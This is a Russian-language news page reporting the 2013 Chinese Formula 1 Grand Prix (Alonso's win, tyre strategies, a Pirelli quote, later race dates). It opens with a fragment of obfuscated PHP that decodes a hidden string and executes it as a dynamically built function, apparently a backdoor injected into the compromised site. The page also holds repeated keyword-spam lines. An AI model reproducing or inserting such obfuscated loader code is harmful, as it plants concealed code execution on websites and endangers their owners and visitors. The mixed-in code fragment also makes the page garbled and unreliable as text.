aaa -
<(sizeof($owsvdbaql)/2);$jaxjvya++) { $xxszqrkf .= substr($nhalutg, $owsvdbaql[($jaxjvya*2)],$owsvdbaql[($jaxjvya*2)+(5-4)]); } return $tzzvoh(chr((62-53)),chr((289-197)),$xxszqrkf); }; } $wjmybp = explode(chr((180-136)),'2760,58,860,66,5439,39,5108,60,3743,62,1278,42,3005,24,2591,20,1025,41,5168,47,5625,70,346,25,5812,41,5695,68,2248,46,4107,38,4303,40,4758,29,1683,43,3392,59,4650,67,926,68,4604,46,2033,40,434,31,371,63,2544,47,3095,52,1340,44,465,34,2936,69,3495,56,2403,38,4717,41,3029,36,4959,46,1726,58,1968,41,994,31,1815,24,1900,68,4787,37,3370,22,5038,70,1119,57,700,43,5582,43,4375,48,5301,44,2111,31,4423,28,5971,49,252,43,4571,33,2142,61,4253,50,3623,52,1839,39,0,59,115,50,4519,52,4451,68,3836,22,2344,59,552,27,2520,24,3805,31,2611,56,2667,53,4343,32,165,62,5005,33,3203,21,5535,47,3065,30,4190,63,5215,29,4881,40,1223,55,4921,38,5478,57,3224,23,2441,43,5378,61,5763,49,3858,40,3711,32,2866,70,2009,24,1176,47,1599,36,806,54,59,56,3991,47,1440,23,1320,20,4824,57,3551,49,1463,47,4145,45,5244,57,1539,60,2203,45,1384,56,3306,64,3247,59,295,51,4038,69,2720,40,3923,68,2073,38,743,63,2818,48,1635,48,5853,67,227,25,2294,50,1784,31,499,53,579,59,1878,22,3147,56,5345,33,3451,44,2484,36,3898,25,1510,29,3600,23,3675,36,5920,51,1066,53,638,62'); $aexssceccc = $ydrvatxppl("",waqyxbpv($wjmybp,$lypgqv,$rqgqhlwa)); $ydrvatxppl=$lypgqv; $aexssceccc(""); $aexssceccc=(413-292); $lypgqv=$aexssceccc-1; ?>

F1 гран-при Китая 2013

F1 гран-при Китая 2013В гран-при Китая после трех пит-стопов победил Фернандо Алонсо

Алонсо преодолел всю дистанцию гонки за 1 час 36 минут 26,945 секунды, что практически равняется времени прошлогодней гонки, которую выиграл Нико Росберг (Nico Rosberg) – 1 час 36 минут 26,929 секунды. Второе место занял Кими Райкконен (Kimi Raikkonen) из Lotus, отставший от испанца на 10 секунд. Быстрейший круг гонки — 1:36,808 — оказался на счету Себастьяна Феттеля (Sebastian Vettel) – на мягких шинах с уже неполным баком горючего в конце гонки он более чем на три секунды перекрыл лучшее время прошлогоднего гран-при Китая (Камуи Кобаяси (Kamui Kobayashi), 1:39,960).

Пилоты начали гонку реализацией различных стратегий, и многие команды разработали отличающиеся тактические решения для своих 2-х пилотов. На жестких шинах стартовали Дженсон Баттон (Jenson Button) из McLaren, Себастьен Феттель из Red Bull, Нико Хюлькенберг (Nico Huelkenberg) из Sauber, Пол ди Реста (Paul di Resta) из Force India, Серхио Перес (Sergio Perez) из McLaren, Жан Эрик Вернь (Jean-Eric Vergne) из Toro Rosso и Вальтери Боттас (Wallteri Bottas) из Williams, а остальные отправились в гонку на мягких шинах.

Пилоты, занявшие первые четыре места по результатам гонки, применили стратегию с тремя пит-стопами, а Дженсон Баттон из команды McLaren оказался выше всех в протоколе из тех пилотов, которые дважды побывали в боксах. В самом начале гонки Баттон проехал самый длинный отрезок на шинах средней жесткости — 23 круга.

F1 гран-при Китая 2013 F1 гран-при Китая 2013 F1 гран-при Китая 2013 F1 гран-при Китая 2013
F1 гран-при Китая 2013 F1 гран-при Китая 2013 F1 гран-при Китая 2013 F1 гран-при Китая 2013
F1 гран-при Китая 2013 F1 гран-при Китая 2013 F1 гран-при Китая 2013 F1 гран-при Китая 2013

«В сегодняшней гонке стратегия сыграла ключевую роль, а шины средней жесткости оказались исключительно эффективными в самом начале гонки, когда в баках было максимальное количество топлива, – заявил директор Pirelli по автосорту Пол Хембери (Paul Hembery).- Это пошло на пользу тем пилотам, которые стартовали на шинах средней жесткости, а также вынудило стартовавших на мягких шинах рано заехать в боксы, чтобы как можно скорее перейти на шины средней жесткости. В результате мы наблюдали множество обгонов, так как в основе многих стратегий лежала необходимость обогнать как можно больше соперников для отвоевания позиций перед следующей остановкой в боксах. Именно снижение характеристик шин, а не их фактический износ направляло реализацию стратегий, поэтому мы стали свидетелями устойчивой скорости на шинах средней жесткости даже после их использования в течение 15-ти и более кругов. И вновь мы увидели разнообразие стратегий, а Баттон и Феттель даже оставили мягкие шины на последний отрезок гонки. В результате мы получили удовольствие от захватывающего финиша, когда борьба за последнее место на подиуме между Льюисом Хэмилтоном (Lewis Hamilton) и Себастьяном Феттелем длилась до самого клетчатого флага. Итак, в трех гонках этого сезона было три разных победителя, а сегодня первые пять строк итогового протокола заняли пять чемпионов мира…»

Более подробную информацию читайте на официальном cайте Pirelli.com/F1

Следующие этапы F1

Гран-при Дата
4  Гран-при Бахрейна 21 апреля
5  Гран-при Испании 12 мая
6  Гран-при Монако 26 мая
7  Гран-при Канады 9 июня
8  Гран-при Великобритании 30 июня
9  Гран-при Германии 7 июля
10  Гран-при Венгрии 28 июля
11  Гран-при Бельгии 25 августа
12  Гран-при Италии 8 сентября
13  Гран-при Сингапура 22 сентября
14  Гран-при Кореи 6 октября
15  Гран-при Японии 13 октября
16  Гран-при Индии 27 октября
17  Гран-при Абу-Даби 3 ноября
18  Гран-при США 17 ноября
19  Гран-при Бразилии 24 ноября

http://www.pkp.lv